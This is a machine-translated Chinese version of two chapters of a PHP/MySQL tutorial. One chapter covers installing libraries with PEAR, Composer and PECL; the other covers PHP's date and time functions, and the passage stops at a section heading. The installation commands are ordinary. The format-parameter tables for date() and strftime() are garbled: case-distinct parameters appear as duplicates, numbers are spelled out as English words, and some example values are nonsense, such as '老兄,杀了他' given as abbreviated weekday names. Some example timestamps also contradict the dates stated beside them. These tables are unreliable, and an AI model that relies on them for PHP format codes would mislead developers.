PHP MySQL 入门教程(五)

原文:Beginning PHP and MySQL

协议:CC BY-NC-SA 4.0

十一、第三方库

优秀的程序员写出伟大的代码。伟大的程序员重用其他程序员的伟大代码。幸运的是,对于 PHP 程序员来说,有几个有用的解决方案可以用来查找、安装和管理第三方库、实用程序和框架。

有两种方法可以扩展 PHP 的功能。简单的方法是使用 PHP 脚本语言编写函数和类:从解决特定问题的单个函数到可用于实现无数解决方案的类库和函数库。较大的库通常被称为使用特定模式的框架,如模型视图控制器(MVC)。第二种方法是使用 C 创建函数和类,这些函数和类可以编译成一个共享对象或者静态链接到主 PHP 二进制文件中。当功能存在于 C 库中,如 MySQL 客户端库,并且希望 PHP 可以使用该功能时,通常会使用这种方法。PHP 中大多数可用的功能都是作为现有 C 库的包装器编写的。

本章介绍了通过各种工具扩展 PHP 的一些方法:

  • PHP 扩展和应用库(PEAR)简介。PEAR 与 PHP 捆绑在一起,但是由于 Composer 工具中提供了更现代的技术,所以没有看到太大的发展。

  • Composer 简介,它是一个“依赖管理器”,已经成为分发库的事实上的标准,并且是当今许多最流行的 PHP 项目的核心组件,其中包括 FuelPHP、Symfony、Laravel 和 Zend Framework 3。

  • 用 c 写的 PECL 和其他扩展的介绍。

介绍梨

PEAR(PHP 扩展和应用库的首字母缩写)有大约 600 个包,分属于 37 个主题,但是其中大部分都没有得到积极的开发。这里提到它是因为它与许多 PHP 安装捆绑在一起,并且很容易通过简单的命令行工具访问基本功能。在安装任何第三方库之前。你应该看看它的网站,看看这个项目最后更新的时间。以及社区有多大。如果项目有一段时间没有发生任何事情,那么它很可能有一些安全问题已经很长时间没有解决了,并且您可能会通过使用这些特性来增加项目的风险。

安装 PEAR

尽管 PEAR 与 PHP 紧密相连,但它并不总是在安装 PHP 时安装。在某些情况下,您必须安装额外的软件包或直接从网站安装。在 CentOS 7 系统上,有两个版本的 PEAR 包可以从 IUS 仓库获得。这些被称为 php56u-pear 和 php70u-pear。顾名思义,它们是针对特定版本的 PHP 的。要安装其中一个,只需像这样运行 yum 命令:

%>sudo yum install php70u-pear

其他发行版也有类似的命令。

您也可以选择从 PEAR 网站上的脚本安装 PEAR(PEAR/PHP . net)。只需下载文件 https://pear.php.net/go-pear.phar 并保存到本地文件夹。phar 文件类型表示 PHP 脚本和文件存档混合文件格式。在命令行上执行此操作将运行一个交互式应用,该程序将引导您完成安装过程。

在 Linux 系统上,这看起来像这样:

$ php go-pear.phar

在 Windows 上,您可以使用以下命令:

C:\> c:\php7\php.exe go-pear.phar

系统将提示您输入目录和文件的位置,当安装完成时,系统将准备好使用pear命令。

更新 PEAR

尽管现在 PEAR 的维护工作越来越少,但新版本还是会不时发布,您可以通过运行以下命令来升级到最新版本,从而轻松确保您拥有最新版本:

%>pear upgrade

使用 PEAR 包管理器

PEAR 包管理器允许您浏览和搜索贡献包,查看最近的发布,以及下载包。它通过命令行执行,使用以下语法:

%>pear [options] command [command-options] <parameters>

为了更好地了解软件包管理器,打开命令提示符并执行以下命令:

%>pear

你会看到一个常用命令列表和一些用法信息。这个输出相当长,所以这里不再赘述。如果你有兴趣学习更多关于本章剩余部分没有涉及的命令,在包管理器中执行该命令,提供如下的help参数:

%>pear help <command>

小费

如果 PEAR 因为没有找到命令而没有执行,那么您需要将可执行文件目录(pear/bin)添加到您的系统路径中。

安装 PEAR 包

安装 PEAR 包是一个令人惊讶的自动化过程,只需执行install命令即可完成。一般语法如下:

%>pear install [options] package

例如,假设您想要安装Auth包。命令和相应的输出如下:

%>pear install Auth
WARNING: "pear/DB" is deprecated in favor of "pear/MDB2"
WARNING: "pear/MDB" is deprecated in favor of "pear/MDB2"
WARNING: "pear/HTTP_Client" is deprecated in favor of "pear/HTTP_Request2"
Did not download optional dependencies: pear/Log, pear/File_Passwd, pear/Net_POP3, pear/DB, pear/MDB, pear/MDB2, pear/Auth_RADIUS, pear/Crypt_CHAP, pear/File_SMBPasswd, pear/HTTP_Client, pear/SOAP, pear/Net_Vpopmaild, pecl/vpopmail, pecl/kadm5, use --alldeps to download automatically
pear/Auth can optionally use package "pear/Log" (version >= 1.9.10)
pear/Auth can optionally use package "pear/File_Passwd" (version >= 1.1.0)
pear/Auth can optionally use package "pear/Net_POP3" (version >= 1.3.0)
...
pear/Auth can optionally use PHP extension "imap"
pear/Auth can optionally use PHP extension "saprfc"
downloading Auth-1.6.4.tgz ...
Starting to download Auth-1.6.4.tgz (56,048 bytes)
.............done: 56,048 bytes
install ok: channel://pear.php.net/Auth-1.6.4

从这个例子中可以看出,许多包还提供了一个可选依赖项列表,如果安装了这个列表,将会扩展可用的特性。例如,安装File_Passwd包增强了Auth的功能,使其能够验证几种类型的密码文件。启用 PHP 的 IMAP 扩展允许Auth验证 IMAP 服务器。

假设安装成功,您就可以按照本章前面演示的相同方式开始使用这个包了。

自动安装所有依赖项

默认情况下,PEAR 的更高版本将安装所有必需的包依赖项。但是,您可能还希望安装可选的依赖项。为此,请传递-a(或--alldeps)选项:

%>pear install -a Auth_HTTP

查看已安装的 PEAR 包

查看机器上安装的包很简单;只需执行以下命令:

$ pear list

以下是一些输出示例:

Installed packages, channel pear.php.net:
=========================================
Package          Version State
Archive_Tar      1.3.11  stable
Console_Getopt   1.3.1   stable
PEAR             1.9.4   stable
Structures_Graph 1.0.4   stable
XML_Util         1.2.1   stable

介绍作曲家

在我看来,Composer ( http://getcomposer.org/ )是 PHP 开发人员显而易见的选择,因为它有直观的包管理方法和基于每个项目管理第三方项目依赖的能力。这种情绪很常见,因为 Composer 已经被许多流行的 PHP 项目作为首选解决方案,包括 FuelPHP ( http://fuelphp.com/ )、Symfony ( http://symfony.com/ )、Laravel ( http://laravel.com/ )和 Zend Framework 2 ( http://framework.zend.com/ )。在本节中,我将指导您完成安装 Composer 的过程,然后使用 Composer 在一个示例项目中安装两个流行的第三方库。

安装作曲者

Composer 的安装过程与 PEAR 的安装过程非常相似,需要您下载一个安装程序,然后使用 PHP 二进制文件执行该安装程序。在这一节中,我将向您展示如何在 Linux、macOS 和 Windows 上安装 Composer。

在 Linux 和 macOS 上安装 Composer

在 Linux、macOS 和 Windows 上安装 Composer 是微不足道的;只需运行以下四个命令行脚本:

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('SHA384', 'composer-setup.php') === '544e09ee996cdf60ece3804abc52599c22b1f40f4323403c44d44fdfdd586475ca9813a858088ffbc1f233e9b180f061') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"

请注意,这包括对哈希的检查,因此这仅适用于当前版本(Composer 版本 1.6.3 2018-01-31 16:28:17)。建议你去 https://getcomposer.org/download 获取当前 hash。

另外,如果您在 Windows 上运行这个命令,那么在运行前两行之前,您必须通过向 php.ini 文件添加 extension=openssl.dll 来启用 openssl 扩展。

安装完成后,您会发现当前目录中有一个名为composer.phar的文件。虽然您可以通过将该文件传递给 PHP 二进制文件来运行 Composer,但我建议通过将该文件移动到您的/usr/local/bin目录来使其直接可执行,如下所示:

$ mv composer.phar /usr/local/bin/composer

在 Windows 上安装编写器

在 Windows 上安装 Composer 也可以通过 Composer 团队提供的特定于 Windows 的安装程序来完成。你可以从这里下载安装程序: https://getcomposer.org/Composer-Setup.exe 。下载后,运行安装程序以完成安装过程。这将提示您 PHP 的位置,并可能对 php.ini 文件进行一些更新。它将保存现有 php.ini 文件的副本以供参考。

使用作曲家

Composer 通过使用一个名为composer.json的简单 JSON 格式文件来管理项目依赖关系。该文件位于项目的根目录中。例如,下面的composer.json文件将指示 Composer 管理( http://doctrine-project.org )条令和 Swift Mailer ( http://swiftmailer.org/ )包:

{
    "require": {
        "doctrine/orm": "*",
        "swiftmailer/swiftmailer": "5.0.1"
    }
}

在这个特殊的例子中,我要求 Composer 安装教义的 ORM 库的最新版本(如星号所示);然而,我对 Swift Mailer 软件包更有选择性,我要求 Composer 专门安装 5.0.1 版本。这种程度的灵活性使您有机会管理满足项目特定需求的包版本。

准备好composer.json文件后,通过在项目根目录中执行composer install来安装所需的包,如下所示:

$ composer install
Loading composer repositories with package information
Installing dependencies (including require-dev)
  - Installing swiftmailer/swiftmailer (v5.0.1)
    Downloading: 100%

  - Installing doctrine/common (2.3.0)
    Downloading: 100%

  - Installing symfony/console (v2.3.1)
    Downloading: 100%

  - Installing doctrine/dbal (2.3.4)
    Downloading: 100%

  - Installing doctrine/orm (2.3.4)
    Downloading: 100%

symfony/console suggests installing symfony/event-dispatcher ()
doctrine/orm suggests installing symfony/yaml (If you want to use YAML Metadata Mapping Driver)

Writing lock file
Generating autoload files

完成后,您将在项目的根目录中找到一个新文件和一个目录。该目录名为vendor,它包含与您刚刚安装的依赖项相关的代码。这个目录还包含一个名为autoload.php的便利文件,当包含在您的项目中时,您的依赖项将自动可用,而无需使用require语句。

新文件是composer.lock,它实际上将您的项目锁定在您上次运行composer install命令时指定的特定项目版本中。如果您将项目代码提供给其他人,这些用户可以放心,他们将使用与您相同的依赖版本,因为运行composer install将导致 Composer 引用这个锁文件来获得安装指令,而不是composer.json

当然,您偶尔会希望将自己的依赖项更新到新版本;为此,只需运行以下命令:

$ composer update

这将导致任何新的依赖版本被安装(假设composer.json文件已经以允许这样做的方式被更新),并且锁文件被更新以反映这些改变。您也可以通过如下方式传递名称来更新特定的依赖关系:

$ composer update doctrine/orm

在接下来的几章中,我将回到 Composer,用它来安装各种其他有用的第三方库。

为了获得最新版本的 composer,您可以运行self-update选项。这将检查最新版本,并在必要时更新 composer.phar。

$ composer self-update

这将显示类似如下的输出:

You are already using composer version 1.6.3 (stable channel).

或者如果提供了版本更新:

Updating to version 1.6.3 (stable channel).
   Downloading (100%)
Use composer self-update --rollback to return to version 1.5.5

用 C 库扩展 PHP

PECL 是一个用 C 编写的 PHP 扩展库。与用 PHP 编写的相同功能相比,用 C 编写的扩展通常能提供更好的性能。这些扩展通常是现有 C 库的包装,用于向 PHP 开发人员公开这些库的功能。托管在 https://pecl.php.net 的 PECL 扩展是常用的扩展,但也可以在 GitHub 上找到扩展,如这个示例所示,演示了如何下载、编译和安装第三方PHP 扩展。

该扩展是 Redis 库的一个包装器,可以从 https://redis.io 下载,或者与您正在使用的操作系统的软件包管理器一起安装。Redis 是一个内存缓存系统,可以用来存储键/值对,以便快速方便地访问。

为了安装该软件包,您可以使用以下命令启动:

$ git clone git@github.com:phpredis/phpredis.git

这将创建一个名为phpredis的目录。第一步是导航到该目录并运行命令phpize。这个命令将配置扩展,使文件与当前的 PHP 安装一起工作。根据您安装的实际版本,输出看起来会像这样。

$ phpize
PHP Api Version:         20180123
Zend Module Api No:      20170718
Zend Extension Api No:   320170718

下一步是运行配置脚本并编译扩展。这是通过以下两个命令完成的:

$ ./configure –enable-redis
$ make

如果一切安装正确,这将生成扩展,并准备好安装在系统上。使用以下命令完成安装:

$ sudo make install

这将把名为 redis.so 的文件复制到扩展目录中,您需要做的就是将extension=redis.so添加到 php.ini 中并重启 web 服务器。

配置 PHP 扩展时有两个常见的选项。在这个例子中,当扩展是独立的时,使用选项–enable-<name>。不需要外部库来编译或链接扩展。如果扩展依赖于外部库,它们通常使用–with-<name>选项进行配置。

摘要

包管理解决方案,如 PEAR、Composer 和 PECL,可以成为快速创建 PHP 应用的主要催化剂。希望这一章能让您相信 PEAR 存储库节省了大量时间。您还了解了 PEAR 包管理器以及如何管理和使用包。

后面的章节将会适当地介绍额外的软件包,向您展示它们如何真正地加速开发并增强您的应用的功能。

十二、日期和时间

基于时间和日期的信息在我们的生活中扮演着重要的角色,因此,程序员通常必须在他们的网站中与时态数据争论。一个教程是什么时候出版的?最近是否更新了产品的定价信息?办公助理是什么时候登录会计系统的?公司网站在一天中的哪个时段访问量最大?这些问题以及无数其他与时间相关的问题经常出现,这使得对这些问题的适当考虑对于编程工作的成功至关重要。

本章介绍了 PHP 强大的日期和时间操作能力。在提供了一些关于 Unix 如何处理日期和时间值的初步信息之后,在“Date Fu”一节中,您将学习如何以多种有用的方式处理时间和日期。最后,介绍了改进的日期和时间操作功能。

Unix 时间戳

将我们世界中经常不协调的方面融入编程环境的严格约束中可能是一件乏味的事情。这类问题在处理日期和时间时尤为突出。例如,假设您的任务是计算两个时间点之间的天数差,但是日期以格式2010 年 7 月 4 日下午 3:452011 年 12 月 7 日 18:17 提供。正如您可能想象的那样,弄清楚如何以编程方式做到这一点将是一件令人生畏的事情。你需要的是一种标准格式,某种关于所有日期和时间如何呈现的协议。优选地,该信息将以某种标准化的数字格式提供,例如 20100704154500 和 20111207181700。在编程领域,以这种方式格式化的日期和时间值通常被称为时间戳。

然而,即使这种改善的情况也有其问题。例如,这个提议的解决方案仍然没有解决时区、夏令时或日期格式的文化差异带来的挑战。您需要根据单个时区进行标准化,并设计一种不可知的格式,这种格式可以很容易地转换成任何需要的格式。以秒为单位表示时态值并以协调世界时(UTC)为基础怎么样?事实上,早期的 Unix 开发团队采用了这种策略,使用世界协调时 1970 年 1 月 1 日 00:00:00 作为计算所有日期的基础。这个日期通常被称为 Unix 纪元 *。*因此,上例中格式不一致的日期实际上分别表示为 1278258300 和 1323281820。

Unix 时间戳表示为一个整数值。整数的实际大小取决于操作系统的版本和 PHP 运行的版本。在 32 位版本的 PHP 中,整数值的范围从-2,147,483,648 到 2,147,483,647。这些值对应于 12/13/1901 20:45:52 和 01/19/2038 03:14:07,这两个值都采用 UTC 格式。对于 64 位系统,整数值的范围从–9,223,372,036,854,775,808 到 9,223,372,036,854,775,807,对应于 01/27/-292277022657 08:29:52 到 12/04/2922277026596 15:30:07 之间的日期这对大多数 PHP 开发人员来说已经足够宽了。

函数time()将返回当前日期和时间的时间戳。该函数不接受任何参数。

警告

您可能想知道是否可以使用 Unix 纪元之前的日期(世界协调时 1970 年 1 月 1 日 00:00:00)。1970 年之前的日期时间值将由负数表示。

PHP 的日期和时间库

即使是最简单的 PHP 应用也至少包含一些 PHP 的日期和时间相关函数。无论是验证日期、以某种特定方式格式化时间戳,还是将人类可读的日期值转换为相应的时间戳,这些函数在处理相当复杂的任务时都非常有用。

注意

你的公司可能位于俄亥俄州,但公司网站可以托管在任何地方,无论是德克萨斯州、加利福尼亚州,甚至是东京。如果您希望日期和时间的表示和计算基于东部时区,这可能会带来问题,因为默认情况下,PHP 将依赖于操作系统的时区设置。事实上,如果您没有通过配置date.timezone指令在php.ini文件中正确设置系统的时区,或者没有使用date_default_timezone_set()函数设置时区,就会产生不同的错误级别。更多信息参见 PHP 手册。

验证日期

虽然大多数读者可能记得在小学时学过“九月三十日”这首诗 1 ,但我们中的许多人不太可能会背诵它,包括在场的人。幸运的是,checkdate()函数很好地完成了验证日期的任务,如果提供的日期有效,则返回TRUE,否则返回FALSE。其原型如下:

Boolean checkdate(int month, int day, int year)

让我们考虑几个例子:

echo "April 31, 2017: ".(checkdate(4, 31, 2017) ? 'Valid' : 'Invalid');
// Returns false, because April only has 30 days

echo "February 29, 2016: ".(checkdate(02, 29, 2016) ? 'Valid' : 'Invalid');
// Returns true, because 2016 is a leap year

echo "February 29, 2015: ".(checkdate(02, 29, 2015) ? 'Valid' : 'Invalid');
// Returns false, because 2015 is not a leap year

格式化日期和时间

date()函数返回一个日期和/或时间的字符串表示形式,该表示形式根据预定义格式指定的指令和当前选择的时区进行格式化。其原型如下:

string date(string format [, int timestamp])

如果没有提供可选的第二个参数,系统将使用与调用函数的时间相对应的时间戳(当前时间戳)。

表 12-1 突出了最有用的格式化参数。(原谅我们放弃 Swatch 互联网时间参数的决定。 2

表 12-1

date()功能的格式参数

|

参数

|

描述

|

例子

|
| — | — | — |
| A | 小写的午前和午后 | 上午或下午 |
| A | 大写的午前和午后 | 上午或下午 |
| D | 一个月中的某一天,带前导零 | 01 至 31 |
| D | 一天的三个字母的文本表示 | 周一至周日 |
| E | 时区标识符 | 美国/纽约 |
| F | 月份的完整文本表示 | 一月到十二月 |
| G | 12 小时格式,不带零 | 1 到 12 岁 |
| G | 24 小时格式,不带零 | 0 到 23 |
| H | 12 小时格式,带零 | 01 到 12 |
| H | 24 小时格式,带零 | 00 到 23 |
| i | 分钟,带零 | 01 到 60 |
| I | 夏令时 | 0 表示否,1 表示是 |
| j | 一个月中的某一天,不带零 | 1 至 31 |
| l | 日期的文本表示 | 周一到周日 |
| L | 闰年 | 0 表示否,1 表示是 |
| m | 月份的数字表示,带零 | 01 到 12 |
| M | 月份的三个字母的文本表示 | 一月到十二月 |
| n | 月份的数字表示,不带零 | 1 到 12 岁 |
| O | 与格林威治标准时间(GMT)的时差 | –0500 |
| r | 根据 RFC 2822 格式化的日期 | 2010 年 4 月 19 日 22:37:00-0500 |
| S | 秒,带零 | 00 到 59 |
| S | 日的序数后缀 | 第一,第二,第三,第四 |
| t | 一个月的总天数 | 28 至 31 岁 |
| T | 时区 | PST、MST、CST、EST 等。 |
| U | 自 Unix 纪元以来的秒数(时间戳) | One billion one hundred and seventy-two million three hundred and forty-seven thousand nine hundred and sixteen |
| w | 工作日的数字表示 | 0 表示周日到 6 表示周六 |
| W | ISO-8601 年的周数 | 1 到 52 或 1 到 53,取决于一周结束的那一天。更多信息参见 ISO 8601 标准。 |
| Y | 年份的四位数表示 | 从 1901 年到 2038 年 |
| z | 一年中的某一天 | 0 到 364 |
| Z | 时区偏移量(秒) | –43200 至 50400 |

如果传递可选的时间戳,用 Unix 时间戳格式表示,date()将返回该日期和时间的相应字符串表示。如果没有提供时间戳,将使用当前的 Unix 时间戳。

尽管多年来经常使用 PHP,许多 PHP 程序员仍然需要访问文档来刷新他们对表 12-1 中提供的参数列表的记忆。因此,尽管你不一定能通过简单回顾几个例子来记住如何使用这个函数,但是让我们来看看这些例子,让你更清楚地了解date()到底能完成什么。

第一个例子演示了date()最常见的用法之一,它只是向浏览器输出一个标准日期:

echo "Today is ".date("F d, Y");
// Today is April  20, 2017

下一个示例演示了如何输出工作日:

echo "Today is ".date("l");
// Today is Thursday

让我们尝试更详细地呈现当前日期:

$weekday = date("l");
$daynumber = date("jS");
$monthyear = date("F Y");

printf("Today is %s the %s day of %s", $weekday, $daynumber, $monthyear);

这将返回以下内容:

Today is Thursday the 20th day of April 2017

请记住,输出将根据脚本执行的日期而变化。您可能想将与参数无关的字符串直接插入到date()函数中,就像这样:

echo date("Today is l the ds day of F Y");

事实上,这在某些情况下确实有效;然而,结果可能是不可预测的。例如,执行上述代码会产生以下结果:

UTC201822am18 5919 Monday 3103UTC 2219 22am18 2018f January 2018

注意,标点符号与任何参数都不冲突,所以在必要时可以随意插入。例如,要将日期格式化为 mm-dd-yyyy,请使用以下内容:

echo date("m-d-Y");
// 04-20-2017

与时间一起工作

date()函数也可以产生与时间相关的值。让我们看几个例子,从简单地输出当前时间开始:

echo "The time is ".date("h:i:s");
// The time is 07:44:53

但是现在是早上还是晚上?只需添加a参数:

echo "The time is ".date("h:i:sa");
// The time is 07:44:53pm

或者您可以通过使用 H 而不是 H 来切换到 24 小时格式:

echo "The time is ".date("H:i:s");
// The time is 19:44:53

了解当前时间的更多信息

gettimeofday()函数返回一个由当前时间元素组成的关联数组。其原型如下:

mixed gettimeofday([boolean return_float])

默认行为是返回由以下四个值组成的关联数组:

  • dsttime : 使用夏令时算法,因地理位置而异。有 11 个可能的值:0(不实施夏令时)1(美国)2(澳大利亚)3(西欧)4(中欧)5(东欧)6(加拿大)7(英国和爱尔兰)8(罗马尼亚)9(土耳其)10(澳大利亚 1986 年版本)。

  • minuteswest : 格林威治以西的分钟数。

  • sec**😗*Unix 纪元以来的秒数。

  • usec : 时间分数取代整秒值的微秒数。

在美国东部时间 2018 年 1 月 21 日 15:21:30 从测试服务器执行gettimeofday()会产生以下输出:

Array (
  [sec] => 1274728889
  [usec] => 619312
  [minuteswest] => 240
  [dsttime] => 1
)

当然,可以将输出分配给一个数组,然后根据需要引用每个元素:

$time = gettimeofday();
$UTCoffset = $time['minuteswest'] / 60;
printf("Server location is %d hours west of UTC.", $UTCoffset);

这将返回以下内容:

Server location is 5 hours west of UTC.

可选参数return_float使gettimeofday()以浮点值的形式返回当前时间。

将时间戳转换为用户友好的值

getdate()函数接受一个时间戳并返回一个由它的组件组成的关联数组。除非提供了 Unix 格式的时间戳,否则返回的组件基于当前日期和时间。其原型如下:

array getdate([int timestamp])

总共返回 11 个数组元素,包括:

  • hours : 小时的数字表示。范围是 0 到 23。

  • mday : 一个月中某一天的数字表示。范围是 1 到 31。

  • minutes : 分钟的数值表示。范围是 0 到 59。

  • mon : 月份的数字表示。范围是 1 到 12。

  • month : 表示月份的完整文本,例如,七月。

  • seconds : 秒的数值表示。范围是 0 到 59。

  • wday : 星期几的数字表示,例如,0 表示星期日。

  • weekday : 一周中某一天的完整文本表示,例如,星期五。

  • yday : 一年中某一天的数值偏移量。范围是 0 到 364。

  • year : 四位数字表示年份,例如 2018。

  • 0 : 自 Unix 纪元(时间戳)以来的秒数。

考虑时间戳 1516593843(2018 年 1 月 21 日 20:04:03 PST)。让我们将它传递给getdate()并检查数组元素:

Array (
    [seconds] => 3
    [minutes] => 4
    [hours] => 4
    [mday] => 22
    [wday] => 1
    [mon] => 1
    [year] => 2018
    [yday] => 21
    [weekday] => Monday
    [month] => January
    [0] => 1516593843
)

使用时间戳

PHP 提供了两个处理时间戳的函数:time()mktime()。前者用于检索当前时间戳,而后者用于检索对应于特定日期和时间的时间戳。本节将介绍这两种功能。

确定当前时间戳

time()函数对于检索当前的 Unix 时间戳非常有用。其原型如下:

int time()

以下示例在 2017 年 4 月 20 日 21:19:00 PDT 执行:

echo time();

这会产生相应的时间戳:

1516593843

使用前面介绍的date()函数,这个时间戳可以在以后转换回人类可读的日期:

echo date("F d, Y H:i:s", 1516593843);

这将返回以下内容:

January 22, 2018 04:04:03

基于特定的日期和时间创建时间戳

mktime()函数对于根据给定的日期和时间生成时间戳非常有用。如果没有提供日期和时间,则返回当前日期和时间的时间戳。其原型如下:

int mktime([int hour [, int minute [, int second [, int month
            [, int day [, int year]]]]]])

每个可选参数的目的应该是显而易见的,所以我不会一一赘述。例如,如果您想知道 2018 年 1 月 22 日晚上 8:35 的时间戳,您只需输入适当的值:

echo mktime(20,35,00,1,22,2018);

这将返回以下内容:

1516653300

这对于计算两个时间点之间的差异特别有用(在本章的后面,我将向您展示计算日期差异的另一种解决方案)。例如,今天的午夜(2018 年 1 月 22 日)和 2018 年 4 月 15 日的午夜之间有多少小时?

<?php
$now = mktime();
$taxDeadline = mktime(0,0,0,4,15,2018);

// Difference in seconds
$difference = $taxDeadline - $now;

// Calculate total hours
$hours = round($difference / 60 / 60);

echo "Only ".number_format($hours)." hours until the tax deadline!";

这将返回以下内容:

Only 1,988 hours until the tax deadline!

日期福

本节演示了几个最常请求的与日期相关的任务,其中一些只涉及一个函数,而另一些涉及几个函数的某种组合。

显示本地化的日期和时间

在这一章,实际上也是这本书,美国化的时间和货币格式被普遍使用,例如 04-12-10 和$2,600.93。然而,世界上的其他地方使用不同的日期和时间格式、货币,甚至字符集。鉴于互联网的全球影响力,你可能不得不创建一个能够遵守本地化格式的应用。事实上,忽略这一点会造成相当大的混乱。例如,假设您要创建一个网站,预订佛罗里达州奥兰多的一家酒店。这家酒店很受各国公民的欢迎,所以您决定创建几个本地化版本的网站。你应该如何处理大多数国家使用他们自己的货币和日期格式的事实,更不用说不同的语言了?虽然您可以创建一个繁琐的方法来管理这些事情,但它可能容易出错,并且需要一些时间来部署。幸运的是,PHP 提供了一组内置的特性来本地化这种类型的数据。

PHP 不仅可以方便日期、时间、货币等的正确格式化,还可以相应地翻译月份名称。在这一节中,您将了解如何利用这一特性根据您喜欢的任何地点来格式化日期。这样做本质上需要两个函数:setlocale()strftime() .接下来将介绍这两个函数,并给出几个例子。

设置默认区域设置

setlocale()函数通过赋予一个新值来改变 PHP 的本地化默认值。区域设置信息是按进程而不是按线程维护的。如果您在多线程配置中运行,您可能会遇到区域设置的突然更改。如果另一个脚本也在更改区域设置,就会发生这种情况。其原型如下:

string setlocale(integer category, string locale [, string locale...])
string setlocale(integer category, array locale)

本地化字符串正式遵循以下结构:

language_COUNTRY.characterset

例如,如果您想要使用意大利语本地化,那么区域设置字符串应该设置为it_IT.utf8。以色列本地化将被设置为he_IL.utf8,英国本地化为en_GB.utf8,美国本地化为en_US.utf8。当一个给定的地区有几个字符集可用时,characterset组件就开始发挥作用了。例如,区域设置字符串zh_CN.gb18030用于处理蒙古语、藏语、维吾尔语和彝语字符,而zh_CN.gb3212用于简体中文。

您将看到 locale 参数可以作为几个不同的字符串或一个 locale 值数组来传递。但是为什么要传递不止一个地区呢?这一特性是为了应对不同操作系统的地区代码之间的差异。鉴于绝大多数 PHP 驱动的应用都以特定平台为目标,这应该很少成为问题;但是,该功能会在您需要时出现。

最后,如果您在 Windows 上运行 PHP,请记住微软已经设计了自己的本地化字符串集。您可以在 https://msdn.microsoft.com/en-us/library/ee825488(v=cs.20).aspx 检索语言和国家代码列表。

小费

在一些基于 Unix 的系统上,您可以通过运行命令locale -a来确定支持哪些语言环境。

支持六种不同的本地化类别:

  • LC_ALL : 这为以下五个类别设置了本地化规则。

  • LC_COLLATE : 字符串比较。这对于使用-和é等字符的语言非常有用。

  • LC_CTYPE : 人物分类与转换。例如,设置这个类别允许 PHP 使用strtolower()函数正确地转换成相应的大写表示。

  • LC_MONETARY : 货币表示法。例如,美国人用这种格式表示美元:$ 50.00;欧洲人用这种格式表示欧元:50,00。

  • LC_NUMERIC : 数值表示。例如,美国人用这种格式表示大数:1,412.00;欧洲人用这种格式表示大数:1.412,00。

  • LC_TIM E : 表示日期和时间。例如,美国人表示日期的方式是月,然后是日,最后是年。2010 年 2 月 12 日,将被表示为 2010 年 2 月 12 日。然而,欧洲人(以及世界其他地方的大部分人)将这个日期表示为 2010 年 2 月 12 日。一旦设置好,您就可以使用strftime()函数来产生本地化的格式。

假设您正在处理日期,并希望确保日期的格式符合意大利语言环境:

setlocale(LC_TIME, "it_IT.utf8");
echo strftime("%A, %d %B, %Y");

这将返回以下内容:

Venerdì, 21 Aprile, 2017

并非所有操作系统都支持区域设置字符串中使用的. utf8 符号。这是 macOS 的情况,你应该用“it_IT”来表示意大利语。您必须确保在操作系统上安装了所有的语言包。

要本地化日期和时间,您需要将setlocale()strftime()结合使用,这将在下面介绍。

本地化日期和时间

strftime()功能根据setlocale()指定的本地化设置格式化日期和时间。其原型如下:

string strftime(string format [, int timestamp])

strftime()的行为非常类似于date()函数,接受决定所请求日期和时间布局的转换参数。但是,这些参数与date()使用的参数不同,需要复制所有可用的参数(如表 12-2 所示,供您参考)。请记住,所有参数都将根据设置的语言环境产生输出。另请注意,其中一些参数在 Windows 上不受支持。

表 12-2

strftime()功能的格式参数

|

参数

|

描述

|

示例或范围

|
| — | — | — |
| %a | 缩写的每周名称 | 老兄,杀了他 |
| %A | 完整的工作日名称 | 星期一,星期二 |
| %b | 缩写月份名 | 一月,二月 |
| %B | 完整的月份名称 | 一月,二月 |
| %c | 标准日期和时间 | 04/26/07 21:40:46 |
| %C | 世纪号 | Twenty-one |
| %d | 一个月中的第几天,带前导零 | 01, 15, 26 |
| %D | 相当于%m / %d / %y | 04/26/07 |
| %e | 一个月中的第几天,没有前导零 | Twenty-six |
| %g | 与%G的输出相同,但没有世纪 | 05 |
| %G | 数字年,根据%V设定的规则运行 | Two thousand and seven |
| %h | 与%b相同的输出 | 一月,二月 |
| %H | 数字小时(24 小时制),带前导零 | 00 到 23 |
| %I | 数字小时(12 小时制),带前导零 | 01 到 12 |
| %j | 一年中的数字日 | 001 到 366 |
| %l | 12 小时制,一位数小时前有空格 | 1 到 12 岁 |
| %m | 数字月份,带前导零 | 01 到 12 |
| %M | 数字分钟,带前导零 | 00 到 59 |
| %n | 换行符 | \n |
| %p | 午前和午后 | 上午,下午 |
| %P | 小写的午前和午后 | 上午,下午 |
| %r | 相当于%I:%M:%S %p | 下午 05 时 18 分 21 秒 |
| %R | 相当于%H:%M | nineteen past five p.m. |
| %S | 数字秒,带前导零 | 00 到 59 |
| %t | 制表符 | \t |
| %T | 相当于%H : %M : %S | 22:14:54 |
| %u | 数字工作日,其中 1 =星期一 | 1 到 7 |
| %U | 数字周数,其中一年的第一个星期日是一年的第一周的第一天 | Seventeen |
| %V | 数字周数,其中第 1 周=第一周> = 4 天 | 01 到 53 |
| %W | 数字周数,其中第一个星期一是第一周的第一天 | 08 |
| %w | 数值工作日,其中 0 =星期日 | 0 到 6 |
| %x | 基于区域设置的标准日期 | 04/26/07 |
| %X | 基于区域设置的标准时间 | 22:07:54 |
| %y | 数字年,无世纪 | 05 |
| %Y | 数字年,带世纪 | Two thousand and seven |
| %Z%z | 时区 | 东部夏令时 |
| %% | 百分比字符 | % |

通过将strftime()setlocale()结合使用,可以根据用户的当地语言、标准和习俗来格式化日期。例如,向旅游网站用户提供带有日期和票价的本地化路线是很简单的:

Benvenuto abordo, Sr. Sanzi<br />
<?php
   setlocale(LC_ALL, "it_IT.utf8");
   $tickets = 2;
   $departure_time = 1276574400;
   $return_time = 1277179200;
   $cost = 1350.99;
?>
Numero di biglietti: <?= $tickets; ?><br />
Orario di partenza: <?= strftime("%d %B, %Y", $departure_time); ?><br />
Orario di ritorno: <?= strftime("%d %B, %Y", $return_time); ?><br />
Prezzo IVA incluso: <?= money_format('%i', $cost); ?><br />

此示例返回以下内容:

Benvenuto abordo, Sr. Sanzi
Numero di biglietti: 2
Orario di partenza: 15 giugno, 2010
Orario di ritorno: 22 giugno, 2010
Prezzo IVA incluso: EUR 1.350,99

显示网页的最近修改日期

